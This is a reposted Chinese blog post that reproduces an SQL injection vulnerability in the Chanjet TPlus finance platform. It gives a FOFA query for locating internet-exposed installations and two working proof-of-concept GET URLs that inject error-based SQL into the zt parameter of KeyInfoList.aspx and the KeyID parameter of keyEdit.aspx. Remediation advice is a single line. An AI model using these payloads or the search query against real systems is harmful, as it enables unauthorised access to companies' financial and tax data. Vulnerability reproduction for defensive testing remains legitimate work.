本文主要是介绍畅捷通TPlus keyEdit.aspx、KeyInfoList.aspx SQL注入漏洞复现，希望对大家解决编程问题提供一定的参考价值，需要的开发者们随着小编来一起学习吧！
前言
免责声明：请勿利用文章内的相关技术从事非法测试，由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失，均由使用者本人负责，所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。
一、产品简介
畅捷通-TPlus是一个为中小企业设计的财税云服务平台，提供财务、税务管理和发票处理功能，支持低代码开发，帮助企业实现数字化和智能化经营管理。
二、漏洞描述
该系统的keyEdit.aspx、KeyInfoList.aspx接口存在sql注入漏洞
三、影响范围
未知
四、复现环境
FOFA：
app="畅捷通-TPlus"
五、漏洞复现
1.访问存在漏洞的网站
2.直接以GET方式请求
POC1:
http://127.0.0.1/tplus/UFAQD/KeyInfoList.aspx?preload=1&zt=')AND+1+IN+(SELECT+sys.fn_varbintohexstr(hashbytes('MD5','1')))--+
POC2
http://127.0.0.1/tplus/UFAQD/keyEdit.aspx?KeyID=1%27%20and%201=(select%20sys.fn_varbintohexstr(hashbytes(%27MD5%27,%27123456%27)))%20--&preload=1
3.成功
六、修复建议
关闭互联网暴露面访问的权限，及时更新系统
参考链接
https://blog.csdn.net/ahhacker86/article/details/138482856
https://blog.csdn.net/wan___she__pi/article/details/137461590
这篇关于畅捷通TPlus keyEdit.aspx、KeyInfoList.aspx SQL注入漏洞复现的文章就介绍到这儿，希望我们推荐的文章对编程师们有所帮助！
